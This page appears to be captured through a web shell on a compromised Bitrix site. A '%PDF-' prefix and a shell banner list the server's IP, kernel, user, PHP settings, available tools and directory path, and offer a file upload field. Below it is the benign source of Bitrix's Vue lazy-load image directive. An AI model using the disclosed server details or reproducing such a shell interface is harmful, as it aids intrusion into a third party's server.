%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.179.177 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/vue/directives/lazyload/src/ |
Upload File : |
/** * Image Lazy Load Vue directive * * @package bitrix * @subpackage ui * @copyright 2001-2019 Bitrix */ /* Attention: intersection observer work with errors if image has border-radius Example of usage: <img v-bx-lazyload class="bx-module-element" src="https://.../placeholder.png" data-lazyload-src="https://.../targetImage.png" data-lazyload-error-src="https://.../errorImage.png" /> <img v-bx-lazyload class="bx-module-element" src="https://.../placeholder.png" data-lazyload-dont-hide data-lazyload-src="https://.../targetImage.png" data-lazyload-error-src="https://.../errorImage.png" /> <img v-bx-lazyload class="bx-module-element" data-lazyload-src="https://.../targetImage.png" /> <img v-bx-lazyload class="bx-module-element" data-lazyload-src="https://.../targetImage.png" data-lazyload-error-class="bx-module-element-error" data-lazyload-success-class="bx-module-element-success" /> */ import {BitrixVue} from "ui.vue"; import 'main.polyfill.intersectionobserver'; const WATCH = 'bx-lazyload-watch'; const LOADING = 'bx-lazyload-loading'; const SUCCESS = 'bx-lazyload-success'; const ERROR = 'bx-lazyload-error'; const HIDDEN = 'bx-lazyload-hidden'; const BLANK_IMAGE = "data:image/svg+xml,%3Csvg width='1px' height='1px' xmlns='http://www.w3.org/2000/svg'%3E%3C/svg%3E"; let lazyloadObserver = null; let lazyloadLoadImage = function(currentImage, callback) { let SUCCESS_CLASS = currentImage.dataset.lazyloadSuccessClass? currentImage.dataset.lazyloadSuccessClass.split(" "): []; delete currentImage.dataset.lazyloadSuccessClass; SUCCESS_CLASS = [SUCCESS, ...SUCCESS_CLASS]; let ERROR_CLASS = currentImage.dataset.lazyloadErrorClass? currentImage.dataset.lazyloadErrorClass.split(" "): []; delete currentImage.dataset.lazyloadErrorClass; ERROR_CLASS = [ERROR, ...ERROR_CLASS]; currentImage.classList.add(LOADING); const newImage = new Image(); newImage.src = currentImage.dataset.lazyloadSrc; if (!currentImage.dataset.lazyloadHiddenSrc) { currentImage.dataset.lazyloadHiddenSrc = currentImage.src; } newImage.onload = function() { if (currentImage.classList.contains(HIDDEN)) { return false; } if (currentImage.dataset.lazyloadSrc) { currentImage.src = currentImage.dataset.lazyloadSrc; } currentImage.classList.remove(LOADING); currentImage.classList.add(...SUCCESS_CLASS); if (typeof currentImage.lazyloadCallback === 'function') { currentImage.lazyloadCallback({element: currentImage, state: 'success'}); delete currentImage.lazyloadCallback; } }; newImage.onerror = function() { if (currentImage.classList.contains(HIDDEN)) { return false; } currentImage.classList.remove(LOADING); currentImage.classList.add(...ERROR_CLASS); currentImage.title = ''; currentImage.alt = ''; if (typeof currentImage.lazyloadCallback === 'function') { currentImage.lazyloadCallback({element: currentImage, state: 'error'}); delete currentImage.lazyloadCallback; } }; if (typeof currentImage.dataset.lazyloadDontHide !== 'undefined') { currentImage.classList.remove(WATCH); delete currentImage.dataset.lazyloadDontHide; if (lazyloadObserver) { lazyloadObserver.unobserve(currentImage); } } }; if (typeof window.IntersectionObserver !== 'undefined') { lazyloadObserver = new IntersectionObserver(function (entries, observer) { entries.forEach(function(entry) { const currentImage = entry.target; if (entry.isIntersecting) { if (currentImage.classList.contains(HIDDEN)) { if (currentImage.dataset.lazyloadSrc) { currentImage.src = currentImage.dataset.lazyloadSrc; } currentImage.classList.remove(HIDDEN); } else if (currentImage.classList.contains(WATCH)) { return true; } else { currentImage.classList.add(WATCH); lazyloadLoadImage(currentImage); } } else { if ( currentImage.classList.contains(HIDDEN) || !currentImage.classList.contains(WATCH) ) { return true; } if (currentImage.dataset.lazyloadHiddenSrc) { currentImage.src = currentImage.dataset.lazyloadHiddenSrc; } currentImage.classList.remove(LOADING); currentImage.classList.add(HIDDEN); } }); }, { threshold: [0, 1] }); } BitrixVue.directive('bx-lazyload', { bind(element, bindings) { if (typeof bindings.value === 'object' && typeof bindings.value.callback === 'function') { element.lazyloadCallback = bindings.value.callback; } if (!element.src || element.src === location.href.replace(location.hash, '')) { element.src = BLANK_IMAGE; } if (lazyloadObserver) { lazyloadObserver.observe(element); } else { lazyloadLoadImage(element); } }, componentUpdated(element) { if ( !element.classList.contains(SUCCESS) && !element.classList.contains(ERROR) && !element.classList.contains(WATCH) && !element.classList.contains(LOADING) ) { element.classList.add(LOADING); } else if ( (element.classList.contains(SUCCESS) || element.classList.contains(ERROR)) && element.dataset.lazyloadSrc && element.dataset.lazyloadSrc !== element.src ) { if (!element.dataset.lazyloadSrc.startsWith('http')) { const url = document.createElement('a'); url.href = element.dataset.lazyloadSrc; if (url.href === element.src) { return; } } lazyloadLoadImage(element); } }, unbind(element) { if (lazyloadObserver) { lazyloadObserver.unobserve(element); } } });